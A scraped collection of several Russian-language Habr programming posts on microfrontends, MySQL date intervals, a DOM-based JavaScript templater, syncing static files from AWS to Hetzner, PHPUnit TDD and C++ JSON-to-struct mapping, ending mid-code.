Заимпортируем какой-нибудь JS-файл, который экспортирует метод doSomething. Его сразу можно будет вызвать, он будет работать в контексте Realm независимо от основной странички.
У этого API даже есть полифильчик, который [построен](https://github.com/Agoric/realms-shim) как раз с использованием friendly frame. Правда, полифил, похоже, стал deprecated. Там года два уже не было коммитов, и он сильно отстал от текущего драфта спеки. Но надеюсь, с развитием спецификации его оживят.
Итоги
Используйте микрофронтендный подход с умом, только если вам это действительно нужно. Выбирайте подходящую вам техническую реализацию. И следите за спецификациями. Эта тематика активно развивается, в будущем у нас появятся более удобные способы строить микрофронтенды. Спасибо!
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | https://habr.com/ru/post/554568/ | null | ru | null |
# Через год
Может это и правильно, но как-то неожиданно.
`select
'2008-02-27' + INTERVAL 1 YEAR, -- 2009-02-27
'2008-02-28' + INTERVAL 1 YEAR, -- 2009-02-28
'2008-02-29' + INTERVAL 1 YEAR, -- 2009-02-28
'2008-03-01' + INTERVAL 1 YEAR; -- 2009-03-01`
**UPD** По результатам обсуждения резюмирую:
а) это стандартное поведение и других СУБД и более того
б) данный способ расчета годового периода узаконен и применяется в офлайн. | https://habr.com/ru/post/48327/ | null | ru | null |
# Шаблонизатор на основе объектной модели html
Прочитав предыдущий топик (http://habrahabr.ru/blogs/javascript/96588/) в сознании всплыла старая идеи. Подход известный, но то ли у него есть минусы которые я не вижу, то ли мы с гуглом друг друга не поняли. В общем, готового решения я найти не смог, поэтому за пару часов набросал свое. Но так как наши пути с джава скриптом на данный момент разошлись, опробовать его в реальном проекте не получилось.
Интересны два вопроса, какие вам видятся минусы и встречали ли вы похожие решения для javascript?
Каждый тег (например div) предстает в виде функции Htmls.div которая
на выходе отдает HTMLElement, а на вход принимает любое количество аргументов типа:
1) Object — используется для определения атрибутов.
2) String — текст
3) HTMLElement — вложенный тег
4) Array — список из текстов и тегов.
#### Два примера
##### Пример 1
Имеем
> `var items = ["x", "y"];`
>
>
Хотим получить
> `<div>
>
> <div id="some" class="some-class">
>
> some div
>
> div>
>
> some text
>
> <div>xdiv>
>
> <div>ydiv>
>
> div>`
>
>
result содержит то что мы хотим.
> `var result;
>
> with (Htmls) {
>
> result = div(
>
> div({ id: "some", class: "some-class" },
>
> "some div"),
>
> "some text",
>
> items.map(function (i) {
>
> return div(i);
>
> }))
>
> .outerHTML;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### Пример 2 из вышеупомянутого топика
> `data = {
>
> title: 'C pocket reference',
>
> type: 'PDF Document',
>
> tag: 'programming',
>
> created\_at: '5.31.2010'
>
> }
>
> with (Htmls) {
>
> var tagUrl = "tags/" + data.tag;
>
> var result = tr(
>
> td(data.title),
>
> td(data.type),
>
> td(a({href: tagUrl}, data.tag)),
>
> td(data.created\_at))
>
> .outerHTML;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Незамысловатый код
> `Htmls = (function () {
>
> function initTag(tag, args) {
>
> for (var i = 0; i < args.length; i++) {
>
> var arg = args[i];
>
> if (arg.constructor == String) {
>
> tag.innerHTML += arg;
>
> }
>
> else if (arg instanceof HTMLElement) {
>
> tag.appendChild(arg);
>
> }
>
> else if (arg.constructor == Array) {
>
> initTag(tag, arg);
>
> }
>
> else if (arg.constructor == Object) {
>
> for (var j in arg) {
>
> tag.setAttribute(j, arg[j]);
>
> }
>
> }
>
> }
>
> return tag;
>
> }
>
>
>
> function createTag(name, args) {
>
> return initTag(document.createElement(name), args);
>
> }
>
>
>
> return {
>
> div: function () {
>
> return createTag("div", arguments);
>
> }
>
> //можно добавлять другие теги
>
> }
>
> })();
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/96636/ | null | ru | null |
# Снижаем затраты на использование AWS EC2
На странице стоимости компонентов EC2 на Амазоне есть одна строчка, на которую сначала можно не сильно обратить внимание, но которая может привести к серьезным финансовым затратам — Data Transfer, трафик. Если аренду инстансов и EBS-томов можно запланировать и контролировать, то трафик предсказать довольно сложно, а игнорировать его не даст ежемесячный счет)
Для примера: средний новостной сайт, 30 тысяч посещений в сутки, его вполне потянет небольшой small или даже micro instance. Возьмем полный размер страницы 2 мегабайта, месячный трафик тогда будет (без учета закэшированного контента) — 30000 \* 0.002 \* 30 = 1800 **GB** или **$216**. Получается стоимость Data Transfer даже больше аренды самого инстанса! На S3 ситуация с ценами на трафик точно такая же.
Б**о**льшую часть этого трафика составляет статический контент, который не обязательно раздавать непосредственно с Амазона. Нужен дешевый и быстрый канал — для этих целей отлично подходят самые простые выделенные сервера на Хетцнере.
Статика хоть и статична, но меняется постоянно — файлы закачиваются, обновляются, удаляются, поэтому придётся настроить автоматическую синхронизацию между инстансем Амазона и сервером статики.
Возьмем для этих целей lsyncd — он следит за файлами в заданных директориях используя inotify и выполняет кусочек скрипта на Lua если что-то поменялось (более полное описание lsyncd в хорошем посте: [habrahabr.ru/post/132098](http://habrahabr.ru/post/132098/))
На Амазоновском сервере (примеры для CentOS):
Ставим lsyncd, rsync:
```
yum install lsyncd
mkdir -p /var/log/lsyncd
```
Создаем конфиг в /etc/lsyncd.conf со смыслом «Синхронизируем все происходящие с файлами изменения, кроме файлов php, не чаще чем раз в 3 секунды, используем rsync через ssh.»
```
settings = {
logfile = "/var/log/lsyncd/lsyncd.log",
statusFile = "/var/log/lsyncd/lsyncd.status",
}
sync {
default.rsyncssh,
source = "/home/user/example.com",
host = "static.example.com",
targetdir = "/home/user/static.example.com",
rsyncOps = {"-av", "--temp-dir=/tmp", "--delete", "--exclude=*php"},
exclude = {"somestaticfile.json"},
delay = 3,
}
```
Генерируем (если их еще нет) ключи через ssh-keygen, прописываем сгенерированный id\_rsa.pub на сервер статики в authorized\_keys.
Запускаем lsyncd:
```
lsync /etc/lsyncd.conf
```
В логах сразу должны пойти сообщения о синхронизации, а на сервере статики появится файлы, которые уже можно раздавать, конечно с помощью nginx. Единственный момент — чтобы клиенту не выдавалась сообщение об ошибке, в случае, когда файл еще не успел синхронизироваться, а клиент его уже запрашивает, то нужно сделать проксирование таких запросов обратно на инстанц Амазона. Такая ситуация может быть когда, например, при закачке изображения его сразу нужно показывать или если по каким-то причинам отвалилась синхронизация. Конфиг nginx получается таким:
```
server {
listen 80;
server_name static.example.com
location / {
root /home/user/static.example.com;
add_header Access-Control-Allow-Origin *; #для беспроблемного получения JSON через jQuery
try_files $uri @pass;
}
location @pass {
proxy_set_header Host "example.com;
proxy_pass http://example.com;
}
}
```
Получаем в итоге комбинированную надежность и гибкость AWS и дешевизну Хетцнера.
**PS**
Для сайтов с большим количеством файлов может потребоваться повысить лимиты на inotify в sysctl:
```
fs.inotify.max_user_instances = 1024
fs.inotify.max_user_watches = 65000
fs.inotify.max_queued_events = 16384
``` | https://habr.com/ru/post/164271/ | null | ru | null |
# Unit-тестирование от начинающего начинающим
Здравствуйте.
На написание статьи меня сподвигнул [этот](http://habrahabr.ru/blogs/php/138223/) пост. В нём приведено описание инструментов и некоторая теоретическая информация.
Сам я только начинаю разбираться в unit-тестировании и тестировании вообще, поэтому решил поделиться некоторой информацией касательно этого дела. А также систематизировать свои знания и навыки. Далее постараюсь объяснить процесс тестирования по шагам простым обывательским языком, так как нигде в интернете не нашёл разжёванного описания, по шагам так сказать. Кому интересно и кто хочет попробовать всё-таки разобраться, добро пожаловать.
Что такое автоматизированное тестирование и unit-тестирование я писать не буду, для этого есть википедия.
Для наших тестов будем использовать, наверное самый популярный фрэймворк – PHPUnit. Для начала нам необходимо его утановить. Делать это проще всего через PEAR. Как это сделать, написано в документации. Используется две команды([из документации](https://github.com/sebastianbergmann/phpunit/)):
```
pear config-set auto_discover 1
pear install pear.phpunit.de/PHPUnit
```
Естественно, путь к PEAR должен быть прописан в PATH. Когда загрузятся необходимые файлы, наш PHPUnit будет полностью готов к тестированию нашего кода.
#### Let's Rock
Итак, начнём. Пусть у нас будет какая-то модель данных. В ней два атрибута: строка и число. Есть метод-сеттер и методы для сохранения и загрузки значений (в файл).
TestModel.php
```
class TestModel {
public $num;
public $str;
public function setAttributes($i, $s) {}
/*
@return: true, если данные сохранены
false, в обратном случае
*/
public function saveData() {return false;}
/*
@return: true, если данные успешно прочитаны из файла
false, в обратном случае
*/
public function loadData() {return false;}
}
```
Мы определили базовые методы и атрибуты классов. Так как у нас пока ничего не читается и не пишется, по условию возвращаем false.
Введём некоторые искуственные ограничения для аттрибутов:
* Строка не может быть пустой
* Число должно быть больше 10, но меньше 20
* Естественно, данные должны правильно заноситься и в файл и читаться оттуда
Конечно, в реальных проектах ограничений больше, но для начала нам хватит :)
Теперь отложим на время нашу модель и займёмся тестом. Тест представляет собой обычный класс, унаследованный от базового класса (в нашем случае PHPUnit\_Framework\_TestCase). Методы этого класса, и есть тесты. Создадим папку unit для нашего теста.
unit/TestModelTest.php:
```
require_once 'PHPUnit/Autoload.php';
class TestModelTest extends PHPUnit_Framework_TestCase {
function testTrue() {
$this->assertTrue(true);
}
}
```
TestModelTest — наш тест-класс для класса TestModel.
testTrue() — непосредственно тест. В нём мы определяем сценарии для конкретных случаев. В данном тесте мы просто проверим, что true является true :) Это делается при помощи метода assertTrue (assert-англ-утверждать). Т.е. мы утверждаем, что true является истинной.
Запустим наш тест. PHPUnit достаточно указать папку, в которой лежат все наши тесты.
```
phpunit unit
```
Получаем:
```
PHPUnit 3.6.10 by Sebastian Bergmann.
.
Time: 0 seconds, Memory: 2.75Mb
OK (1 test, 1 assertion)
```
Ура, наш тест работает! Идём далее.
##### TDD
TDD – Test Driven Development – подход, при котором, грубо говоря, сначала пишутся тесты, а потом постепенно, исходя из них, пишется основной класс. Подробнее в википедии. Пойдём этим путём. Каркас модуля у нас уже есть. Требования тоже. Теперь напишем тестовые случаи, исходя из наших требований.
unit/TestModelTest.php:
```
php
require_once 'PHPUnit/Autoload.php';
require_once dirname(__FILE__).'/../TestModel.php';
class TestModelTest extends PHPUnit_Framework_TestCase {
//проверяем условие, что строка не может быть пустой
function testStringCannotBeEmpty() {
$model=new TestModel;
$model-setAttributes(15,'');
$this->assertFalse($model->saveData()); //мы утверждаем, что на выходе должна быть ложь!
$model->setAttributes(15,'aaaa');
$this->assertTrue($model->saveData()); //а теперь истина
}
//проверяем условие 10setAttributes(2,'test1');
$this->assertFalse($model->saveData());
$model->setAttributes(10,'test2');
$this->assertFalse($model->saveData());
$model->setAttributes(20,'test3');
$this->assertFalse($model->saveData());
$model->setAttributes(25,'test4');
$this->assertFalse($model->saveData());
/\* Условие истинно \*/
$model->setAttributes(15,'test5');
$this->assertTrue($model->saveData());
}
//проверяем корректность чтения/записи
function testSaveLoad() {
$i=13;
$str='test';
$model=new TestModel;
$model->setAttributes($i,$str);
$this->assertTrue($model->saveData()); //записали данные
$fetchModel=new TestModel;
$this->assertTrue($fetchModel->loadData()); //прочитали данные
//сравниваем прочитанные данные и исходные
$this->assertEquals($fetchModel->num,$i);
$this->assertEquals($fetchModel->str,$str);
}
}
```
Мы описали все три случая в трёх методах. Для каждого свой. Теперь запустим тесты:
```
PHPUnit 3.6.10 by Sebastian Bergmann.
FFF
Time: 0 seconds, Memory: 2.75Mb
There were 3 failures:
1) TestModelTest::testStringCannotBeEmpty
Failed asserting that null is false.
...
2) TestModelTest::testIntMustBeGreaterThanTenAdnSmallerThanTwenty
Failed asserting that null is false.
...
3) TestModelTest::testSaveLoad
Failed asserting that null is true.
...
FAILURES!
Tests: 3, Assertions: 3, Failures: 3.
```
Damn! Ну ничего, так и должно быть :) Теперь добавим немного кода в нашу модель.
unit/TestModelTest.php:
```
class TestModel {
public $num;
public $str;
public $fname="file.txt";
public function setAttributes($i, $s) {
$this->num=(int)$i;
$this->str=$s;
}
public function saveData() {
$h=fopen($this->fname,'w+');
$res=fputs($h, $this->str."\r\n".$this->num);
fclose($h);
return (bool)$res;
}
public function loadData() {
$arr=file($this->fname);
if ($arr==false) return false;
list($this->str,$this->num)=$arr;
return (bool)$arr;
}
}
```
Думаю, в коде ничего не должно вызывать затруднений.
Запускаем тесты:
```
There were 3 failures:
1) TestModelTest::testStringCannotBeEmpty
Failed asserting that true is false.
...
2) TestModelTest::testIntMustBeGreaterThanTenAdnSmallerThanTwenty
Failed asserting that true is false.
...
3) TestModelTest::testSaveLoad
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
-'test
-
-'
+'test'
FAILURES!
Tests: 3, Assertions: 6, Failures: 3.
```
Уже лучше. Уже проходит в два раза больше проверок. Идём по порядку:
1. testStringCannotBeEmpty. Строка не может быть пустой. Добавляем проверку:
```
public function saveData() {
if (!strlen($this->str)) return false;
......
}
```
2. testIntMustBeGreaterThanTenAdnSmallerThanTwenty. Условие 10
```
public function saveData() {
if (!strlen($this->str)) return false;
if ($this->num<10 || $this->num>20) return false;
......
}
```
3. testSaveLoad. Ага! ещё одна ошибка, на первый взгляд её сложно заметить. Строка записанная не равна строке прочитанной. Всё дело в конце строки. Идём в документацию и читаем или узнаём про флаг FILE\_IGNORE\_NEW\_LINES.
Исправляем.
```
public function loadData() {
$arr=file($this->fname, FILE_IGNORE_NEW_LINES);
....
}
```
(spoiler: условие 2 специально не соблюдено)
Запустим:
```
There was 1 failure:
1) TestModelTest::testIntMustBeGreaterThanTenAdnSmallerThanTwenty
Failed asserting that true is false.
TestModelTest.php:30
C:\Program Files\php\phpunit:46
FAILURES!
Tests: 3, Assertions: 8, Failures: 1.
```
Смотрим на 46 строчку (у меня): $model->setAttributes(20,'test3'); Мы не рассмотрели крайний случай! Исправляем:
```
public function saveData() {
if (!strlen($this->str)) return false;
if ($this->num<=10 || $this->num>=20) return false;
......
}
```
Запускаем наши тесты:
```
Time: 0 seconds, Memory: 2.75Mb
OK (3 tests, 11 assertions)
```
Ура, все три теста прошли. Наша модель удовлетворяет поставленным требованиям. Что и требовалось :)
#### Заключение
Эта статья ни в коей мере не претендует на полное руководство по unit-тестированию, ни тем более на руководство по TDD. Цель данной статьи — в первую очередь систематизировать мои(начинающего) познания в данной сфере. И я очень надеюсь, что она поможет кому-нибудь в качестве начального подспорья для погружения в глубокий мир автоматического тестирования.
Спасибо за внимание. | https://habr.com/ru/post/138350/ | null | ru | null |
# Отображение данных в формате json на структуру c++ и обратно (работа над ошибками)
[Предыдущий вариант](https://habr.com/ru/post/506506/) решения задачи отображения между структурой с++ и json получился как первый блин — комом. К счастью, разработка — процесс итерационный, и за первой версией всегда будет вторая. Комментарии (спасибо всем) и анализ дырок в первом блине позволили кое-что улучшить.
Что было плохо
==============
* невозможно использовать обычные структуры с++ (в том числе уже существующие). Все структуры необходимо определять с нуля специальным образом
* Json объект можно отображать только на специальным образом определенную структуру
* Json массив можно отображать только на специальный класс
* невозможно использовать stl контейнеры
* макросы просто необходимы (можно и без них, но регистрация методов установки полей жестко совмещена с инициализацией этих полей, поэтому без макросов определение структуры нечитаемо)
* отображение никак не настраивается, т.е. нельзя задать, например, значения по умолчанию или пределы значений
Как стало теперь
================
Регистрация полей, которые будут участвовать в отображении, больше не привязана к структуре. Для регистрации используется функция
```
reg(V T::* ptr, std::string const & name, Options&& ... options);
```
* `ptr` — указатель на поле
* `name` — имя поля
* `options` — опции отображения
В качестве типов полей могут быть использованы:
* bool
* char, unsigned char, short, unsigned short, int unsigned int, long, long long
* float, double
* std::string
* std::list
* std::vector
* std::map (ключем может быть только std::string)
* std::unordered\_map (ключем может быть только std::string)
* std::multimap (ключем может быть только std::string)
* std::unordered\_multimap (ключем может быть только std::string)
* структуры с++
* перечисления
например
```
struct Friend {
std::string name;
std::list counters;
};
struct MiB {
std::list friends;
std::vector> groups;
std::map> books;
};
struct\_mapping::reg(&Friend::name, "name");
struct\_mapping::reg(&Friend::counters, "counters");
struct\_mapping::reg(&MiB::friends, "friends");
struct\_mapping::reg(&MiB::groups, "groups");
struct\_mapping::reg(&MiB::books, "books");
```
После регистрации, как и раньше, вызывается
```
map_json_to_struct(T & result_struct, std::basic_istream & json\_data);
```
* `result_struct` — ссылка на результирующую структуру
* `json_data` — ссылка на входной поток json данных
В процессе отображения проверяется соответствие типов полей типам устанавливаемого значения и для чисел устанавливаемое значение проверяется на выход из диапазона значений типа поля. При несоответствии типов или выхода значения за границы диапазона генерируются исключения.
Небольшой полный пример выглядит так
```
#include
#include
#include "struct\_mapping/struct\_mapping.h"
struct Planet {
bool giant;
long long surface\_area;
double mass;
std::string satellite;
};
int main() {
struct\_mapping::reg(&Planet::giant, "giant");
struct\_mapping::reg(&Planet::surface\_area, "surface\_area");
struct\_mapping::reg(&Planet::mass, "mass");
struct\_mapping::reg(&Planet::satellite, "satellite");
Planet earth;
std::istringstream json\_data(R"json(
{
"giant": false,
"surface\_area": 510072000000000,
"mass": 5.97237e24,
"satellite": "Moon"
}
)json");
struct\_mapping::map\_json\_to\_struct(earth, json\_data);
std::cout << "earth" << std::endl;
std::cout << " giant : " << std::boolalpha << earth.giant << std::endl;
std::cout << " surface\_area : " << earth.surface\_area << std::endl;
std::cout << " mass : " << earth.mass << std::endl;
std::cout << " satellite : " << earth.satellite << std::endl;
}
```
что дает в результате
```
earth
giant : false
surface_area : 510072000000000
mass : 5.97237e+24
satellite : Moon
```
Использование перечислений
--------------------------
Библиотека ожидает, что перечисления в json представляются в виде строк. Поэтому для использования перечислений требуется установить методы преобразования из строки в значение перечисления и наоборот, используя:
```
MemberString::set(From function_from_string_, To function_to_string_);
```
* `function_from_string_` — функция преобразования из строки в значение перечисления
* `function_to_string_` — функция преобразования из значения перечисления в строку
например
```
enum class Color {
red,
blue,
green,
};
struct_mapping::MemberString::set(
[] (const std::string & value) {
if (value == "red") return Color::red;
if (value == "green") return Color::green;
if (value == "blue") return Color::blue;
throw struct\_mapping::StructMappingException("bad convert '"+value+"' to Color");
},
[] (Color value) {
switch (value) {
case Color::red: return "red";
case Color::green: return "green";
default: return "blue";
}
});
```
в остальном использование перечислений аналогично остальным типам
```
#include
#include
#include
#include
#include
#include "struct\_mapping/struct\_mapping.h"
namespace sm = struct\_mapping;
enum class Color {
red,
blue,
green,
};
Color color\_from\_string(const std::string & value) {
if (value == "red") return Color::red;
if (value == "blue") return Color::blue;
return Color::green;
}
std::string color\_to\_string(Color color) {
switch (color) {
case Color::red: return "red";
case Color::green: return "green";
default: return "blue";
}
}
struct Palette {
Color main\_color;
Color background\_color;
std::list special\_colors;
std::map colors;
friend std::ostream & operator<<(std::ostream & os, const Palette & o) {
os << "main\_color : " << color\_to\_string(o.main\_color) << std::endl;
os << "background\_color : " << color\_to\_string(o.background\_color) << std::endl;
os << "special\_colors : ";
for (auto color : o.special\_colors)
os << color\_to\_string(color) << ", ";
os << std::endl << "colors : ";
for (auto [name, color] : o.colors)
os << "[" << name << ", " << color\_to\_string(color) << "], ";
os << std::endl;
return os;
}
};
int main() {
sm::MemberString::set(color\_from\_string, color\_to\_string);
sm::reg(&Palette::main\_color, "main\_color", sm::Required{});
